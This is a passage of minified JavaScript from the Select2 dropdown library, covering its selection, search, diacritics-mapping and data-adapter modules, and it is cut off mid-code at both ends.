n=this,o=(e.id,e.id+"-results");this.options.get("minimumResultsForSearch");this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",o),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),window.setTimeout(function(){n.$selection.focus()},1),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex)}),e.on("disable",function(){n.$selection.attr("tabindex","-1")})},n.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||o.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},n.prototype._attachCloseHandler=function(e){o(document.body).on("mousedown.select2."+e.id,function(e){var t=o(e.target),n=t.closest(".select2");o(".select2.select2-container--open").each(function(){var e=o(this);this!=n[0]&&(e.data("element").select2("close"),setTimeout(function(){e.find("*:focus").blur(),t.focus()},1))})})},n.prototype._detachCloseHandler=function(e){o(document.body).off("mousedown.select2."+e.id)},n.prototype.position=function(e,t){t.find(".selection").append(e)},n.prototype.destroy=function(){this._detachCloseHandler(this.container)},n.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},n}),u.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,o){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var o=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",o).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",o),this.$selection.attr("role","combobox"),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.focus()}),t.on("selection:update",function(e){n.update(e.data)})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){var t,n;0!==e.length?(t=e[0],n=this.$selection.find(".select2-selection__rendered"),e=this.display(t,n),n.empty().text(e),n.prop("title",t.title||t.text)):this.clear()},i}),u.define("select2/selection/multiple",["jquery","./base","../utils"],function(o,e,a){function i(e,t){i.__super__.constructor.apply(this,arguments)}return a.Extend(i,e),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){n.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){var t;n.options.get("disabled")||(t=o(this).parent().data("data"),n.trigger("unselect",{originalEvent:e,data:t}))}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),t.on("focus",function(){n.focusOnSearch()})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return o('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">×</span></li>')},i.prototype.focusOnSearch=function(){var e=this;void 0!==e.$search&&setTimeout(function(){e._keyUpPrevented=!0,e.$search.focus()},1)},i.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var o=e[n],i=this.selectionContainer(),s=this.display(o,i);"string"==typeof s&&(s=s.trim()),i.append(s),i.prop("title",o.title||o.text),i.data("data",o),t.push(i)}var r=this.$selection.find(".select2-selection__rendered");a.appendMany(r,t)}},i}),u.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();t=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(t)},t}),u.define("select2/selection/allowClear",["jquery","../keys"],function(n,o){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){o._handleClear(e)}),t.on("keypress",function(e){o._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.options.get("disabled")){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();for(var o=n.data("data"),i=0;i<o.length;i++){var s={data:o[i]};if(this.trigger("unselect",s),s.prevented)return}this.$element.val(this.placeholder.id).trigger("change"),this.trigger("toggle",{})}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=o.DELETE&&t.which!=o.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){e.call(this,t),0<this.$selection.find(".select2-selection__placeholder").length||0===t.length||((e=n('<span class="select2-selection__clear">×</span>')).data("data",t),this.$selection.find(".select2-selection__rendered").prepend(e))},e}),u.define("select2/selection/search",["jquery","../utils","../keys"],function(n,e,r){function t(e,t,n){e.call(this,t,n)}return t.prototype.render=function(e){var t=n('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");e=e.call(this);return this._transferTabIndex(),e},t.prototype.bind=function(e,n,t){var o=this,i=n.id+"-results";e.call(this,n,t),n.on("open",function(){o.$search.attr("aria-owns",i),o.$search.trigger("focus")}),n.on("close",function(){o.$search.val(""),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.trigger("focus")}),n.on("enable",function(){o.$search.prop("disabled",!1),o._transferTabIndex()}),n.on("disable",function(){o.$search.prop("disabled",!0)}),n.on("focus",function(e){o.$search.trigger("focus")}),n.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)}),this.$selection.on("focusin",".select2-search--inline",function(e){o.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){o._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){var t;e.stopPropagation(),o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented(),e.which===r.BACKSPACE&&""===o.$search.val()?0<(t=o.$searchContainer.prev(".select2-selection__choice")).length&&(t=t.data("data"),o.searchRemoveChoice(t),e.preventDefault()):e.which===r.ENTER&&(n.open(),e.preventDefault())});var t=document.documentMode,s=t&&t<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?o.$selection.off("input.search input.searchcheck"):o.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){var t;s&&"input"===e.type?o.$selection.off("input.search input.searchcheck"):(t=e.which)!=r.SHIFT&&t!=r.CTRL&&t!=r.ALT&&t!=r.TAB&&o.handleSearch(e)})},t.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},t.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},t.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.focus()},t.prototype.handleSearch=function(){var e;this.resizeSearch(),this._keyUpPrevented||(e=this.$search.val(),this.trigger("query",{term:e})),this._keyUpPrevented=!1},t.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},t.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";e=""!==this.$search.attr("placeholder")?this.$selection.find(".select2-selection__rendered").innerWidth():.75*(this.$search.val().length+1)+"em",this.$search.css("width",e)},t}),u.define("select2/selection/eventRelay",["jquery"],function(r){function e(){}return e.prototype.bind=function(e,t,n){var o=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting"],s=["opening","closing","selecting","unselecting"];e.call(this,t,n),t.on("*",function(e,t){var n;-1!==r.inArray(e,i)&&(t=t||{},n=r.Event("select2:"+e,{params:t}),o.$element.trigger(n),-1!==r.inArray(e,s)&&(t.prevented=n.isDefaultPrevented()))})},e}),u.define("select2/translation",["jquery","require"],function(t,n){function o(e){this.dict=e||{}}return o.prototype.all=function(){return this.dict},o.prototype.get=function(e){return this.dict[e]},o.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},o._cache={},o.loadPath=function(e){var t;return e in o._cache||(t=n(e),o._cache[e]=t),new o(o._cache[e])},o}),u.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),u.define("select2/data/base",["../utils"],function(o){function n(e,t){n.__super__.constructor.call(this)}return o.Extend(n,o.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n="";return n+=null!=e?e.id:o.generateChars(4),n+="-result-",n+=o.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+o.generateChars(4),n},n}),u.define("select2/data/select",["./base","../utils","jquery"],function(e,t,r){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return t.Extend(n,e),n.prototype.current=function(e){var t=[],n=this;this.$element.find(":selected").each(function(){var e=r(this),e=n.item(e);t.push(e)}),e(t)},n.prototype.select=function(i){var e,s=this;if(i.selected=!0,r(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("change");this.$element.prop("multiple")?this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var o=i[n].id;-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")}):(e=i.id,this.$element.val(e),this.$element.trigger("change"))},n.prototype.unselect=function(i){var s=this;if(this.$element.prop("multiple")){if(i.selected=!1,r(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var o=e[n].id;o!==i.id&&-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){r.removeData(this,"data")})},n.prototype.query=function(t,e){var n=[],o=this;this.$element.children().each(function(){var e=r(this);(e.is("option")||e.is("optgroup"))&&(e=o.item(e),null!==(e=o.matches(t,e))&&n.push(e))}),e({results:n})},n.prototype.addOptions=function(e){t.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=r(t),e=this._normalizeItem(e);return e.element=t,r.data(t,"data",e),n},n.prototype.item=function(e){var t={};if(null!=(t=r.data(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),o=[],i=0;i<n.length;i++){var s=r(n[i]),s=this.item(s);o.push(s)}t.children=o}return(t=this._normalizeItem(t)).element=e[0],r.data(e[0],"data",t),t},n.prototype._normalizeItem=function(e){r.isPlainObject(e)||(e={id:e,text:e});return null!=(e=r.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&(e._resultId=this.generateResultId(this.container,e)),r.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),u.define("select2/data/array",["./select","../utils","jquery"],function(e,c,u){function o(e,t){var n=t.get("data")||[];o.__super__.constructor.call(this,e,t),this.addOptions(this.convertToOptions(n))}return c.Extend(o,e),o.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),o.__super__.select.call(this,n)},o.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),o=n.map(function(){return t.item(u(this)).id}).get(),i=[];for(var s=0;s<e.length;s++){var r,a,l=this._normalizeItem(e[s]);0<=u.inArray(l.id,o)?(r=n.filter(function(e){return function(){return u(this).val()==e.id}}(l)),a=this.item(r),a=u.extend(!0,{},l,a),a=this.option(a),r.replaceWith(a)):(a=this.option(l),l.children&&(l=this.convertToOptions(l.children),c.appendMany(a,l)),i.push(a))}return i},o}),u.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,s){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return s.extend({},e,{q:e.term})},transport:function(e,t,n){e=s.ajax(e);return e.then(t),e.fail(n),e}};return s.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(t,n){var o=this;null!=this._request&&(s.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var i=s.extend({type:"GET"},this.ajaxOptions);function e(){var e=i.transport(i,function(e){e=o.processResults(e,t);o.options.get("debug")&&window.console&&console.error&&(e&&e.results&&s.isArray(e.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),n(e),o.container.focusOnActiveElement()},function(){e.status&&"0"===e.status||o.trigger("results:message",{message:"errorLoading"})});o._request=e}"function"==typeof i.url&&(i.url=i.url.call(this.$element,t)),"function"==typeof i.data&&(i.data=i.data.call(this.$element,t)),this.ajaxOptions.delay&&null!=t.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),u.define("select2/data/tags",["jquery"],function(a){function e(e,t,n){var o=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);i=n.get("insertTag");if(void 0!==i&&(this.insertTag=i),e.call(this,t,n),a.isArray(o))for(var s=0;s<o.length;s++){var r=o[s],r=this._normalizeItem(r),r=this.option(r);this.$element.append(r)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var o=t.results,i=0;i<o.length;i++){var s=o[i],r=null!=s.children&&!e({results:s.children},!0);if((s.text||"").toUpperCase()===(c.term||"").toUpperCase()||r)return!n&&(t.data=o,void u(t))}if(n)return!0;var 